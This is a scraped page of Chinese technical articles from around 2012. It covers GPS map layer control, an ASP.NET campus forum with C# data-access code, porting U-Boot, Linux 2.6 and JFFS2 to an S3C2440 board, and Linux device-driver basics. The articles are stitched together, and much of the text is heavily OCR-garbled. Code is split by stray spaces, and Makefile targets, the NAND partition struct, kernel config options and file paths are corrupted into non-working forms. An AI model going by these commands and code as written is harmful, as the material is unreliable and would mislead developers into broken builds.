圖層的縮放級別包括最大縮放級別和最小縮放級別。 一旦設置好圖層的縮放級別后,當地圖的縮放級別剛好在最大和最小縮放級別之間 時,該圖層就會在地圖上顯示,否則該圖層將不會出現在電子地圖上。這樣,通過為地 圖的每一個圖層設置不同的縮放顯示級別,可以選擇性的顯示需要的圖層。 圖層縮放顯示級別被設置好后,隨著地圖的不斷放大縮放,可顯示的圖層逐漸增多 或減少,從而使得導航電子地圖所顯示的內容更加有清晰有條理,并且如果地圖縮小到 一定程度,用戶可以在宏觀上觀察整體信息。通過縮放可以實現在計算機屏幕上的目標 區域實現理想的觀測效果。 圖層控制對話框的使用。在圖層控制對話框的列表中依次列出了當前地圖的各圖層 的名字。通過它可以添加,移除和更改圖層的順序,修改完每個圖層的屬性后,點“確 定”即可完成修改操作。另外,在圖層控制里有縮放圖層的選項,選中要設置縮放級別 的圖層后,可以修改下圖的上限和下限,完成對圖層縮放級別的設置。#p#分頁標題#e# 哈哈爾濱市電子地圖圖 圖2.n圖層控制對話框的使用第2章GPS組成原理及導航電子地圖的制作 2.5本章小結 本章首先介紹了GPS的基本工作原理、GPS的系統組成和GPS的定位流程。然后 對坐標系進行了詳細的介紹,并說明了定位數據的坐標轉換問題。最后概括的介紹了導 航電子地圖的數據組成結構和制作過程,并對電子地圖的圖層管理進行了詳細的說明。 http://www.ionrce.tw/uploads/allimg/120612/1-120612211211423-lp.jpg GpS,導航電子地圖 各類編程 admin 未知 2012-06-12 21:10 基于ASP.NET技術的校園論壇建設制作 http://www.ionrce.tw/wangzhanbiancheng/20120611948.html 當今社會,互聯網已經逐漸融入現代化生活的各 個角落,對于當代校園里的大學生來說,網絡更是極其 不可缺的一部分。那么校園論壇作為校園網絡建設的 重要一環,其重要性自然不言而喻 當今社會,互聯網已經逐漸融入現代化生活的各 個角落,對于當代校園里的大學生來說,網絡更是極其 不可缺的一部分。那么校園論壇作為校園網絡建設的 重要一環,其重要性自然不言而喻, 甚至可以說, 一所 學校建得如何,學生的精神狀態如何, 校園的人文、 學 生的心態如何,學校的文明形態如何,都能從校園論壇 上窺見一斑。 許多學校已把自己的校園論壇作為校內新聞信息 發布和分享校外信息資源的主要平臺、 學生思想政治 工作的教育平臺、 學生就業方面的信息發布平臺等等。 1 系統功能介紹 本系統是校園論壇系統, 包括前臺和后臺兩個部 分。 1. 1 前臺功能 前臺操作對象主要包括游客和會員, 游客在注冊 之后即可成為會員,游客只有瀏覽帖子的權限; 會員擁 有瀏覽帖子、 發表帖子、 回復帖子、 搜索帖子等權限。 1. 2 后臺功能 后臺操作對象主要包括版主和論壇管理員, 即超 級版主。 版塊管理員主要管理其所屬版塊的版務,主要包 括:  審核帖子的內容,刪除具有反動反人類等性質的 帖子。 刪除灌水帖、 廣告貼。 論壇管理員職能,論壇管理員擁有論壇最高權限 主要包括:  管理分類版主,負責任命版主以及收回版 主權限。 管理版塊, 包括設置新版塊,取消版塊。 帖子管理,審核帖子,刪除帖子。 公告管理,管理論壇 公告。 將帖子置頂。新聞管理。 會員管理,包括 對會員的審核,禁言。前臺用戶流程如圖1 所示,后臺 管理員流程如圖2 所示。 2 系統功能模塊和各功能模塊介紹 在整體設計中,系統分為以下兩大模塊:管理員模 塊、 用戶模塊,系統功能模塊如圖3 所示。 2. 1 管理員模塊和用戶模塊 管理員模塊圖如圖 4所示。用戶模塊圖如圖5 所 示。 3 系統功能模塊實現 連接數據庫的包含文件:在動態網站中,調用數據 庫中的數據是十分頻繁的, 為了避免編寫重復的代碼。 編寫一個基礎數據庫執行文件是非常重要的。 DbHelperSQL. cs 文件中包含了本系統中數據庫的執 行代碼,具體代碼如下: public static int Ex ecuteSql( str ing SQLStr ing )   { using ( SqlCo nnection co nnectio n = new SqlConnect ion( co nnectionStr ing ) )     { using ( SqlCommand cmd = new SqlComm and ( SQLString , connect ion) )     { try      { connection. Open( ) ;       int rows = cmd. Ex ecuteNonQuery ( ) ;       return rows;      }      catch ( System. Dat a. SqlClient. SqlEx ception e)      { co nnection. Close( ) ;       throw e;     }    }   }  } public static DataSet Query ( str ing SQLStr ing) { using ( SqlConnectio n co nnection = new SqlCo nnection ( co nnectio nString ) )   { DataSet ds = new Data Set ( ) ;    try    { co nnection. Open( ) ; SqlDataAdapter command = new SqlDataAda pter ( SQLString , connect ion) ;    command. Fill( ds, "ds") ;   }   catch ( System. Data. SqlClient. SqlEx ception ex )   { throw new Exceptio n( ex . Messag e) ;   }   return ds;   } } 3. 1 BBS系統主界面 主界面上顯示論壇首頁, 會員中心、 所有帖子、 會 員登錄等鏈接為用戶能方便地進行帖子的瀏覽, 進入 屬于自己的頁面來管理自己發的帖子。主界面主要代 碼: pro tected v oid Page Load( o bject sender , EventAr gs e)   { if ( ! IsPostBack )    { IndexPost sList 1. Gr oupID = 1;     IndexPostsList2. Gro upID = 2;     IndexPostsList3. Gro upID = 3;     IndexPostsList4. Gro upID = 4;    ST . News NewsSL = new ST. New s( ) ;     Repeater News. Dat aSource = New sSL. GetList ( "", 7) ;     Repeater News. Dat aBind( ) ;#p#分頁標題#e#       ST . PostsGr oup PostsGro upSL = new ST. Po st sGro up( ) ;     Dat aSet ds= PostsGr oupSL. Get List( " ") ;     DropDownList1. Dat aSource = ds;    DropDownList1. Dat aTextField = "Gr oupName ";     DropDownList1. Dat aValueField = "ID" ;     DropDownList1. Dat aBind( ) ;    } } pro tected v oid Butto n1 Click( object sender , EventAr gs e) { int id = ST . Request . GetFo rmI nt ( " ctl00 $ContentPlaceHolder 1$Dro pDow nList 1" , 0) ;   ST. Jscr ipt. Java Scr iptLocationHref ( str ing . Format ( " fenleipo st s. aspx ? id= { 0} ", id) ) ; } pro tected void Page Load( o bject sender , EventAr gs e) { if ( ! IsPostBack)   { ST . AboutUs AboutUsSL = new ST . AboutUs( ) ;    Data Set ds = AboutUsSL. GetList( "" ) ;    Repeater 1. DataSource = ds;    Repeater 1. DataBind( ) ;    DataSet ds1 = AboutUsSL. GetList ( str ing . Format ( "id= { 0} " , ST . Request . Get Quer yInt( "id" , 1) ) ) ;     litcontent . T ext = ST . Str ingUt il. UnCheckStr ( ds1. Tables[ 0] . Rows[ 0] [ "Details" ] . ToString ( ) ) ; } } 3. 2 會員中心 會員中心模塊: 用戶進入會員中心后可以方便地 對自己的信息進行管理,包括修改自己的用戶信息以 及自己發的帖子,瀏覽自己發的帖子和回復的帖子等 等。 3. 3 發帖模塊 發帖模塊:作為一個論壇,首要功能必然是會員的 發帖功能。 在論壇的發帖頁面,用戶可以發帖來表明自 己的觀點,或者向其他人提出自己的疑問以求解答。 3. 4 瀏覽所有帖子 瀏覽帖子模塊: 在該模塊,不論是游客還是會員, 用戶都可以瀏覽論壇所有的帖子,但是想要回復帖子 必須登錄。 3. 5 新聞中心 此模塊同樣為管理員操作,用于對論壇的新聞進 行管理,以便論壇新聞系統方便及時地更新,為管理員 提供方便的操作界面。 4 總 結 校園論壇是為了給同學們提供一個交流的平臺, 營造一 種和諧校園 文化而 建立的, 該系統 以 ASP. NET 為開發工具, 使用 Micro sof t SQL Server 2005 數據庫來處理后臺數據。本系統中嘗試將數據庫 的操作放在一個基礎類庫中, 將每個表的操作封裝在 每個表所對應的類中。在U I 層設計的時候只需要直 接調用各個表中的成員方法就可以了。這樣大大減少 了代碼的編寫量, 提高了代碼的重用率,提高了軟件設 計的效率。 http://www.ionrce.tw/uploads/allimg/120611/1-120611204230220-lp.jpg ASP.NET,校園論壇 網站編程 admin 未知 2012-06-11 20:38 嵌入式Linux系統的移植過程 http://www.ionrce.tw/linux/20120610947.html 嵌入式Linux系統的移植主要有U一Boot、Linux內核、文件系統這三部分。Uboot 是在系統通電時開始執行,初始化硬件設備,準備好軟件環境,然后才調用Linux操 作系統內核。文件系統是Limi 嵌入式Linux系統的移植主要有U一Boot、Linux內核、文件系統這三部分。Uboot 是在系統通電時開始執行,初始化硬件設備,準備好軟件環境,然后才調用Linux操 作系統內核。文件系統是Limix操作系統中用來管理用戶文件的內核軟件層。文件 系統包括根文件系統和建立于Flash內存設備之上文件系統。根文件系統包括系統使用 的軟件和庫,以及所有用來為用戶提供支持架構和用戶使用的應用軟件,并作為存儲 數據讀寫結果的區域。 可將Linux系統移植過程大致需要分成6個步驟: 1)準備工作,包括下載源碼、建立交叉編譯環境等。交叉開發是指在開發主機上 安裝開發工具,編輯、編譯目標板的引導程序、內核和文件系統,使其能在目標板上 運行。 2)配置和編譯bootioader(引導裝載程序)。通過這段小程序,可以初始化硬件設 備、建立內存空間的映射表,從而建立適當的系統硬件環境,為最終調用操作系統內 核做好準備。 3)配置和編譯Linux內核,對其進行相應的裁剪,修改內核以支持相關的硬件設 備。 4)為大容量 NANDFlash移植文件系統,并將該文件系統加入Limix內核中; 5)制作RAMdisk來掛載根文件系統。Linux系統中的文件和設備是通過文件系統 來組織的。文件系統的存在使得數據和設備可以被有效而透明地存取訪問。一個hnux 的最簡根文件系統應該包括支持hnux系統正常運行的基本內容,包括系統使用的軟件 和庫,以及所有用來為用戶提供基本支持的架構和指令。 6)燒寫、調試系統;如果調試出錯,則需要重新配置,再重復上述操作。 3.1開發環境搭建 搭建交叉編譯環境是嵌入式開發的第一步,也是很關鍵的一步。不同的體系結構、 不同的操作內容設置是不同的,而不同版本的內核,也會用到不同的交叉編譯器。選 擇交叉編譯器非常重要,有些交叉編譯器經常會有部分的bug,都會導致最后的代碼無 法正常運行。gcc的版本有很多種,其中低于3.3.2版本的只能編譯Linux2.4版本的 內核,而3.3.2既能支持Linux2.4版本的內核,也能支持 Linux2.6版本的內核。本 文中采用arm一1inux一gcC3.4.1。 從http://www.ionrce.tw/linux/ pub/armlinux上下載交叉編譯工 具包,解壓文件并安裝。 由于在使用U一boot的時候還常常會用到宿主機種的tftp與nfs這兩種網絡服務, 所以還需要配置一下網絡服務的設置。 安裝配置tftp服務的大致步驟如下: a)安裝tftp一hpa、tftpd一hpa和openbsd一ine七d程序; b)修改配置文件/etc八netd.conf,開啟tftP服務; c)分局配置文件的路徑,建立tftp目錄,該目錄要對開發板平臺有讀寫權限, 因此還需要修改該目錄權限。 安裝配置nfs服務的大致步驟如下: a)安裝nfs內核服務; b)重新配置portmap服務,修改/etC/hostS.deny和/ete/hosts.allow配置文件, 重啟portmap服務; C)修改nfs服務的配置文件/etc/exPortS,添加掛載目錄和配置; d)重啟nfs,并檢查可掛載目錄。 在開發板與宿主機進行通信的時候必然會用到串口,所以串口終端程序的必不可 少。MiniCom是在Linux系統下比較常用的串口終端工具,簡單的配置步驟如下: 運行命令minicom一后出現一個菜單欄,選中串口設置項,修改各項數據使得 其適配開發板的相關參數,如圖4一l。 設置好之后,開發環境就算是配置完成。  3.2U-boot的移植 3.2.1 U-boot介紹 在一般計算機系統中,系統啟動運行的第一段代碼是引導加載程序。在嵌入式系 統中實現引導加載啟動功能的程序就是Bootloader。Bootloader是在操作系統內核運 行前運行的一段小程序,它實現要實現的功能是:初始化硬件設備、建立內存空間映 射表,從而將軟硬件環境引導到一個合適的狀態,為操作系統內核的運行做好準備。 U一boot是一個開源的專門針對嵌入式 1inux系統設計的Bootloader,是現在嵌入 式系統中最常用的B。。tloader。U一boot一般都分為階段1(Stagel)和階段2(Stage2) 兩個部分。Stagel主要完成的工作是:硬件設備的初始化、為StageZ準備RAM空間、 復制StageZ到RAM空間中、設置好堆棧以及跳轉到StageZ的C入口點。StageZ主要 實現的功能是〔‘習:初始化本階段要使用到的硬件設備、檢測系統內核映射(memorym即)、#p#分頁標題#e# 將內核映像和根文件系統映像從flash上讀到RAM空間中、設置內核啟動參數以及調 用內核。 3.2.2 U一boot移植 移植U一boot到ARM板上需要完成添加開發板硬件相關的支持文件、配置U一boot 并編譯生成bin格式的二進制文件,然后燒寫到開發板。具體步驟如下: a)修改 Makefile文件: 在頂層的 Makefile文件中添加s3e244o_eonfig:uneonfig     @./mkeonfig$(@:_eonfig=)armarm92Ots3e244oNULLs3e24xo 修改Makefile的目的是定義交叉編譯鏈和開發板配置選項,arm是CPu的架構 (arch),arm920t指的是cPu的類型,53c2440是開發板型號,最后一項是片上系統 (SOC)定義。 b)在board子目錄中建立s3c2440并將于開發板最接近的支持包Sdmk2410里的 所有文件拷貝到新建目錄下并改成相應的名稱。 c)修改文件53c2440.h文件來配置U一boot的軟硬件需求,包括CPU型號、開發 板型號、關閉MMU、關閉中斷、初始化 malloC池大小、數據段大小、使用網卡許可、 網卡基地址、網卡物理地址、開發板以及服務器IP、內存物理地址、內存大小、默認 的加載地址、flash的基地址,以及使用的串口號和波特率等等。 d)把上述所有相關文件及配置都設置好之后就可以進行編譯:  makes3e244o_eonfig   makeCROSSCOMPILE=arm一 1inux一 編譯生成一個U一boot.bin的映像文件 通過JTAG接口,將U一boot.bin映像文件燒寫到53C2440平臺的flash中。引導 程序U一boot的移植就算完成了。 然后使用重啟開發板,就可以在 Nandflash上啟動U一boot引導程序。啟動過程如 圖4一2。  3.3Linux2.6內核的移植 Linux是開源代碼的操作系統.其內核很小,一般只有幾百Kbyte,它很適合移植 到嵌入式系統中,并且提供免費下載。因此Linux內核的應用越來越廣泛。下面簡要 說明一下Linux內核移植到53C2440平臺的方法。本文使用的版本為2.6.24.4的Linux 內核。它對2410的支持完全適用于2440。先將Linux2.6.24.4內核從網上下載下來, 并解壓到開發目錄下,然后進行以下配置。 3.3.1內核配置 首先修改內核根目錄下的Makefile,指明體系結構是arm,交叉編譯工具是 arm一  11nux一,打開Makefile找到: ARCH?==  CROSSCOMPILE?= 這兩項,不修改這兩項的話將會默認使用x86的配置,這里修改為 ARCH?=arm  CROSSCOMPILE?=arm一linux- 設置 nandflash分區結構:修改areh/arm/maehs3e24lo/devs.e、 arCh/arm/maehS3e24lO/maeh一Smdk241O.e不口drivers/mtd/nand/S3e241O.e這三個文 件來實現對 nandflash的支持以及啟動時初始化和禁止ECC校驗。 首先要修改分區信息,使得內核的 nandflash的分區信息與U一bo。t中的設置一 樣:   statie Struet mtd_artition smdk_default_nand_part[]={ [O〕= 。name=“boot’, .offset   51Ze= =Ox0000000O Ox0003000O. 〔l〕 。name=“kernel” offset 。 5IZe= =Ox0005000O, OxOOZ00000, }, [2〕= name=“root” .offset 。  51Ze= =Ox0O250000, OxO3dae000, } }; 另外還要修改一下 nandflash配置的幾個參數,使其適配開發板的需求:  s3e241o_platform--nand_smdk_nand_infosmdk_nand_info={ ?taels=O, .twrPhO=30, ?twrphl=O, …}; 內核是通過U一boot燒寫到 nandflash上的,而U一boot與內核的ECC校驗碼不一樣, 為了避免系統啟動時出錯,必須禁止  nandflashECC校驗: 在 drivers/mtd/nand/s3e244oxe第669行 將ehipZ)eee.mode=NAND_ECC_SOFT; 改為ehipZ)eee.mode=NAND_ECC_NONE; 由于U一boot傳遞給Linux內核的機器碼也應該與U一boot傳遞參數一致,所以還需要 修改arCh/arm/too1s/math一types文件: 將   53e2440ARCH_53C244053C2440362 修改為    53e2440ARCH_53C244053C2440782 3.3.2內核配置與編譯 配置Linux2.6.24.4內核:先把默認配置文件拷貝過來cp areh/arm/ConfigS/s3e241o_defeonfig.Config然后鍵入命令 makemenuConfig,在 smdk241o_defconfig基礎上主要做以下配置改動:     [*jEnableloadablemodulesupPort-一) 〔*」 Moduleunloading [*〕   Automatiekernelmoduleloading  SystemTyPe一一一> [*〕  S3C24lODMAsupport [*〕  SupportARM92OTprOCeSSOr  S3C24lOMaehines一一> [*〕 SMDK2410/A9M2410#p#分頁標題#e#  53C2440Maehines一一) [*」SMDK2440 [*〕    SMDK244Owith53C2440CPUmodule  BootoPtion--一) 修改啟動參數為  :noinitrdroot=/dev/mtdbloekZinit=/linuxre eonsole=ttySACO, 115200  DevieeDrivers一一)   <*)MemoryTeehnologyDeviee(MTD)support一) [*〕  MTDpartitioningsupport   <*)NANDDevieeSuPPort-一)      <*)NANDFlashsupportfor53C2410/53C2440SoC 〔 jS3C241ONANDHardwareECC 〔*」  Networkdevieesupport-一) [*〕  Ethernet(10or10OMbit)-一)  (*)DMg000suPPort   ()RealTimeCloek一一)  Filesystems-一>     (*>ROMfilesystemsuPPort 在內核根目錄下運行make zimage就可生成內核鏡像文件,然后將該鏡像文件拷 貝到U一boot下的too1s目錄下,使用makimage命令將其生成U一boot格式的my工mage。 最后將內核鏡像my工mage加載到flash中的適當地址。 3.4開FSZ根文件系統的構建 首先,需要內核支持JFFSZ,因此在配置內核參數時,選中 FileSystemS下的      JournalingFlashFileSystemvZ(JFFSZ)Support。假設從一個RAMDISK的文件系統 中得到建立根文件系統所需的全部文件和系統所有的設備等信息。制作步驟如下Lml     第一步,在開發主機上將這個Ramdisk以loop的方式掛接到某個臨時目錄下。在 這個目錄下就出現了一些文件系統的基本文件和信息,可以做增刪以達到定制的目的。     第二步,修改/etc/rc. d/rc. sysinit文件,使得文件系統在remount時不會出現 只讀的情況。具體修改如下:         mount -n -o remount.rw//加入這一行           mount -n -t proc/proc rw//在這一行中加入一n     第三步,使用mkfs. jffs2生成JFFFS2的映像文件。具體的命令格式如下:             Mkfs. jffs2一d   /home/arm/rootfs  -o  rootfs.img     這時,就得到了一個JFFS2的映像文件,將它下載到目標平臺。最后就是如何掛 載它,使它成為一個根文件系統了。     最后通過U-boot將文件系統映像文件燒寫到nand flash上制定的文件系統分區。     重啟開發板,系統啟動過程如圖4-30     在本章中,詳細說明了嵌入式系統平臺的搭建過程。包括建立編譯環境,創建交 叉編譯鏈、配置編譯U-boot引導程序、移植U-boot到S3C2440開發板、配置及編譯 2. 6內核、移植2. 6內核到開發板平臺,最后簡單敘述了JFFS2根文件系統的構建與移 植。為后續的驅動程序開發搭建好軟件系統平臺。 http://www.ionrce.tw/uploads/allimg/120610/1-12061011391bM-lp.jpg 嵌入式,Linux,移植 linux admin 未知 2012-06-10 11:34 詳解嵌入式Linux設備驅動程序 http://www.ionrce.tw/linux/20120608946.html 隨著嵌入式技術的發展,隨著嵌入式技術的發展,嵌入式系統將廣泛地應用于人 類生活的方方面面。如:基于嵌入式工NTERNET網絡的地球電子皮膚,可以嵌入到牙齒 上的手機都在研發之中 隨著嵌入式技術的發展,隨著嵌入式技術的發展,嵌入式系統將廣泛地應用于人 類生活的方方面面。如:基于嵌入式工NTERNET網絡的地球電子皮膚,可以嵌入到牙齒 上的手機都在研發之中。著名嵌入式系統專家沈緒榜院士認為計算機是認識世界的工 具,而嵌入式系統則是改造世界的產物。 現代社會正在步入一個信息化的時代,豐富多彩的數字化產品己經開始繼PC機之 后成為信息處理的發展趨勢,并且正在逐步形成一個充滿商機的巨大產業。計算機也 邁入了其另一個充滿生機的階段一后PC時代。后PC時代的到來,使得人們開始越來 越多地接觸到嵌入式系統的概念。嵌入式產品如手機、PDA等手持的嵌入式設備,游戲 機,VCD機、機頂盒等消費電子也屬于嵌入式產品,傳真機、車載GPS系統、數控機床、 網絡冰箱等同樣都采用嵌入式系統。形式多樣的數字化設備正努力把工nternet連接到 人們生活各個角落。 當今世界計算機應用的普及、互聯網技術的實用以及微電子技術的突破,推動著 信息技術、商業活動、科學實驗、通信技術等各個領域自動化和信息化進程。嵌入式 系統在當今社會各個領域的信息化發展中,起了重要的作用。嵌入式系統技術將成為 今后信息技術發展的熱點。  1.1嵌入式系統的基本概念 嵌入式系統 (EmbeddedSystem)無疑是當今最熱門的話題之一。嵌入式系統可定 義為:嵌入式系統是以應用為中心,以計算機技術為基礎,并且軟件可裁剪,適用于 應用系統對功能、可靠性、成本、體積、功耗有嚴格要求的專業計算機系統[2]。一般具 備以下幾方面的特征: 1.嵌入式系統通常是面對用戶、面向產品、面向特定應用的; 2.嵌入式系統是先進的計算機技術、半導體技術以及電子技術與各個行業具體應 用相結合的產物; 3.嵌入式系統必須根據應用需求對軟硬件進行裁剪,滿足應用系統的功能、可靠 性、成本、體積等各方面的要求; 4.為了提高開發速度和系統的可靠性,嵌入式系統中的軟件一般都固化在存儲芯 片或單片機內。  1.2嵌入式Linux Linux操作系統核心最早是由芬蘭的 LinuSTorvaldS于 1991年9月在芬蘭赫辛基大 學上學時發布的(Linuxo。01版,第一個正式向外公布的Limix內核版本),后來經過 眾多世界頂尖的軟件工程師不斷修改和完善,Linux得以在全球普及開來,在服務器領 域及個人桌面領域得到越來越多的應用[3]。Linux是在GNu公共許可權限下免費獲得 的,是一款符合POSIX標準的多用戶、多任務、支持多線程和多CPU的類Unix操作 系統。Linux以其高效性和活躍性著稱。Linux模塊化的設計結構,使得它既能夠在價 格昂貴的工作站上運行又能夠在廉價的PC機上實現全部的Unix特性。Linux當前有 很多發行版本,流行的有 :RedHatLinux、 DebianLinux、、RenagsLinux、ubuntu等[4]。 由于集成電路技術的飛速發展,嵌入式系統的開發從單片機時代進入到了一個“系 統”開發的階段,嵌入式操作系統也逐漸走上了歷史舞臺。從國內和國外來看,嵌入 式操作系統主要有 windowseE、Vxworks、pSOS、 palm05等。Linux是一個成熟、 穩定的操作系統,由于其在嵌入式開發方面具有其它操作系統無可比擬的優勢,經過 這幾年的發展,己迅速躋身主流嵌入式開發平臺。Linux作為嵌入式操作系統的優勢在 于[5]: 1。Linux是開放源代碼的免費軟件。只要遵守GPL的規定,就可以免費獲得Linux 內核和其它自由軟件的源代碼,采用Linux操作系統構建嵌入式系統,可以大大降低 開發成本和周期。 2。Linux具有完善的文檔和廣泛的技術支持。Linux是互聯網充分發展的產物, 在網上能夠找到許多關于Linux的文檔以及強大的技術支持。 3。Linux內核功能強大,性能高效、穩定。Linux的內核非常穩定,它的高效和 穩定性已經在各個領域,尤其是在網絡服務器領域得到了事實的驗證。 4。Linux能夠支持多種體系結構,是支持微處理器種類最多的操作系統。目前, Linux已經被移植到數十種硬件平臺上,幾乎所有主流的硬件平臺,如X86、ARM、 PPC、MIPS、ALPHA、SPARC等,Linux都支持。 5。Linux擁有強大的網絡功能。隨著嵌入式系統的發展,嵌入式系統與Intemet 結合得越來越緊密。與其它操作系統相比,Linux在網絡方面有較大的優勢,基本上所#p#分頁標題#e# 有的網絡協議和網絡接口都可以在Linux上找到。 6。Linux大小和功能可定制。Linux繼承了Unix的優秀設計思想,內核與用戶界 面完全獨立,各部分的可定制性很強,可以按照需求進行定制和配置,這對于硬件資 源有限的嵌入式系統是一個理想的選擇。  1.3研究意義 從國家戰略目標與產業發展來看,嵌入式軟件特別是嵌入式操作系統是實現傳統 制造業轉型與提升的關鍵技術,它對整體提升我國制造業的競爭能力、大幅度地增強 我國軟件自主創新能力意義重大。但是我國當前嵌入式系統研究和開發的整體水平不 高,與國際領先水平還有較大的差距,國內的嵌入式設備生產商大多數還是采用國外 的商用嵌入式操作系統。而免費開源的Linux在嵌入式領域的發展為我國發展自己的 嵌入式操作系統,扭轉PC機軟件市場的被動局面提供了難得的機遇,也為振興國內軟 件行業找到了最佳的突破口。設備驅動程序在Limix內核中扮演著特殊的角色,它是 進入Linux內核世界的大門。對嵌入式Linux設備驅動的研究,有助于深入理解嵌入式 Limix內核代碼。此外,硬件必須有配套的驅動程序才能正常工作,由于嵌入式設備種 類繁多的特點決定了不同的嵌入式產品在開發時都必須設計自己的設備驅動程序,使 得設備驅動程序的開發在整個嵌入式系統開發工作中占有舉足輕重的地位。因此,對 嵌入式Linux設備驅動的研究是一個很好的課題,具有重要的社會和商業價值。 1.4結構 全文共分五章,具體內容如下: 第1章:緒論。概述了本論文的背景,目前的現狀與發展前景,介紹了主要的研 究工作。 第2章:Linux設備驅動程序。本章主要介紹了嵌入式Linux設備驅動程序的特點、 分類、層次架構和主要功能,并對嵌入式Linux設備驅動程序的具體開發過程進行了 描述。并簡單描述了本文所使用的開辦板平臺。 第3章:嵌入式Linux系統移植。主要講述了嵌入式驅動開發的軟件平臺搭建的 整個過程。 第4章:字符設備驅動程序設計。本章主要介紹了字符設備驅動的設計方法與具 體的操作步驟,并以觸摸屏驅動為例進行演示。 第5章:Linux網絡設備驅動設計。主要介紹了網絡設備驅動的設計方法,并以 CS890O網卡為例詳述了網絡設備的設計與實現。 第2章Linux設備驅動程序 2.1設備的分類及特點 嵌入式系統主要有CPU、存儲器和外設組成。隨著1C制造工藝的發展,目前芯片 集成度越來越高,往往在CPU內部就集成了存儲器和外設適配器。ARM、PowerPC、M工PS 等處理器都集成了UART、工℃控制器、USB控制器、SDRAM控制器等,有的處理器還集 成了片內RAM和Flash。 驅動針對的對象是存儲器和外設(包括CPU內部集成的存儲器與外設),而不是針 對CPU核。Linux將存儲器和外設分為三個基礎大類,字符設備、塊設備和網絡設備。 字符設備指那些必須以串行順序依次進行訪問的設備,如觸摸屏、鼠標等。塊設 備可以用任意順序進行訪問,以塊為單位進行操作,如鍵盤、USB設備等。字符設備不 經過系統的快速緩沖,而塊設備要經過系統的快速緩沖。但是字符設備和塊設備并沒 有明顯的界限,如Flash設備符合塊設備的特點,但是一般情況下依然把它作為一個 字符設備來訪問。 字符設備和塊設備的驅動程序設計有很大的差異,但是對用戶而言,他們都使用 文件系統的操作接口open()、close()、read()、write()等函數進行訪問。 在Linux系統中,網絡設備是面向數據包的接收和發送而設計,它并不對應于文 件系統的節點。內核與網絡設備的通信和內核與字符設備、塊設備的通信方式完全不 同。  2.2設備驅動程序概念 設備驅動程序是有內核中的相關例程和數據組成的I/O設備軟件接口,每當內核 意識到要對某個設備今次那個特殊的操作是,它就調用相應的驅動例程,當驅動例程 完成后,就返回至用戶進程。 設備驅動程序是操作系統內核、硬件之間的接口。設備驅動程序為應用程序忽略 了硬件的細節,這樣在應用程序看來,硬件設備只是一個設備文件,應用程序可以象 操作普通文件一樣對硬件設備進行操作。設備驅動程序是內核的一部分,它文成以下 功能I6]: (l)對設備初始化和釋放。 (2)把數據從內核傳送到硬件和從硬件讀取數據。#p#分頁標題#e# (3)讀取應用程序傳送給設備文件的數據和回送應用程序請求的數據。 (4)檢測和處理設備出現的錯誤。 每個設備驅動程序都有以下幾個特性: (l)具有一整套的和硬件設備通訊的例程,并且提供給操作系統一套標準的 軟件接口。 (2)有一個可以被操作系統動態調用和移除的自包含組件。 (3)可以控制和管理用戶程序和物理設備之間的數據流。  2.3設備驅動程序的基本結構 對用戶程序而言,設備驅動程序隱藏了設備的具體細節,對各種不同設備提供 了一致的接口。一般設備驅動程序可以分為三個主要組成部分〔川: (l)自動配置和初始化子程序:自動配置和初始化子程序常在相應的driver init()中實現,負責檢測所要驅動的硬件設備是否存在和是否能正常工 作。如果該設備正常,則對這個設備及其相關的設備驅動程序需要的狀 態進行初始化。這部分驅動程序僅在初始化的時候調用一次。 (2)服務于FO請求的子程序:它又稱為驅動程序的上半部分,調用這部分 是由于系統調用的結果。這部分程序在執行的時候,系統仍認為是和進 行調用的進程屬于同一個進程,只是由用戶態變成了核心態,具有進 行此系統調用的用戶程序的運行環境。因此可以在其中調用sleeP()等與 進程運行環境有關的函數。 (3)中斷服務子程序:在Linux系統中,并不是直接從中斷向量表中調用設 備驅動程序的中斷服務子程序,而是由系統來接收硬件中斷,再由系 統調用中斷服務子程序。中斷可以產生在任何一個進程運行的時候,因 此,在中斷服務程序被調用的時候,不能依賴于任何進程的狀態,也 就不能調用任何與進程運行環境有關的函數。因為設備驅動程序一般支 持同一類型的若干設備,所以一般在系統調用中斷服務子程序的時候, 都帶有一個或多個參數,以唯一標識請求服務的從設備。  2.4Linux設備驅動與整個軟硬件系統的關系 除網絡設備外,字符設備與塊設備都被映射到Linux文件系統與文件和目錄,通 過文件系統調用接口open()、  wr1te()、read()、elose()等函數即可訪問字符設備和 塊設備。所有的字符設備和塊設備很直觀的呈現給用戶。而塊設備則會先建立一個磁 盤 /Flash文件系統,一般是FAT、Ext3、YAFF、JFFS等。應用程序可以通過調用Linux 的系統調用接口編程,而出于代碼的可移植行考慮,更多的是使用C庫函數。C庫函數 也是通過系統調用接口來實現的tg]。圖2一1形象的表述了LinuX設備驅動與整個軟硬件 系統之間的關系。 2.5驅動程序開發流程 嵌入式Linux系統驅動程序開發與普通Linux區別在于編譯時需進行交叉編譯。 嵌入式設備由于硬件種類豐富,在缺省的內核發布版中不一定包括所有驅動程序,可 以在硬件生產廠家或者工nternet上尋找驅動程序,如果找不到,可以根據一個相近 硬件的驅動程序來改寫,這樣可加快開發速度「’‘)〕。 (1)定義主、次設備號,也可以動態獲取; (2)實現驅動初始化和清除函數。如果驅動程序采用模塊方式,則要實現模塊 初始化和清除函數; (3)設計所要實現的文件操作,定義file_叩erations結構; (4)實現所需的文件操作調用,如read、write等; (5)實現中斷服務函數(中斷不是每個設備驅動都需要),并用request_irq向 內核注冊; (6)將驅動交叉編譯到內核或交叉編譯成模塊,用insmod命令加載; (7)用mknode生成設備文件。 2.6硬件平臺 S3C244OA是一款實用的ARMg開發板。它采用 Samsung53C2440為微處理器,并 采用專業穩定的CPU內核電源芯片和復位芯片來保證系統運行時的穩定性。S3C244OA 的PCB采用沉金工藝的四層板設計,專業等長布線,保證關鍵信號線的信號完整性, 配合相應的手冊,可以迅速讓人掌握嵌入式Linux和winCE開發的流程。 其各項配置和參數如下 S3C244OA處理器,主頻40OMHz,可倍頻至533MHz; 64M字節SDRAM,可擴展到256M;   ZMNORFlash; 64M字節 NANDFlash; 12MHz系統外部時鐘源;32.768KHz的RTC時鐘源; 支持3.3V或5V電壓供電: 采用進口高質量板對板接插件,確保長期運行可靠性。 兩個三線串口,一個TTL串口; 一個IOOM網口,采用DM9000AE,帶聯接和傳輸指示燈;#p#分頁標題#e# 四個 uSBHoST接口;一個 uSBDeviee接口; 一路立體聲音頻輸出接口可接耳機;另一路音頻輸入可接麥克風; 一個SD卡接口; LCD和觸摸屏接口支持3.5寸、4.3寸、5.6寸、5.7寸、7寸、8寸等TFT液晶 屏; CMOS攝像頭接口,現提供有(選配)130萬、300萬像素攝像頭,用戶也可自行 擴展; 內部實時時鐘,帶有后被鏗電池接口; 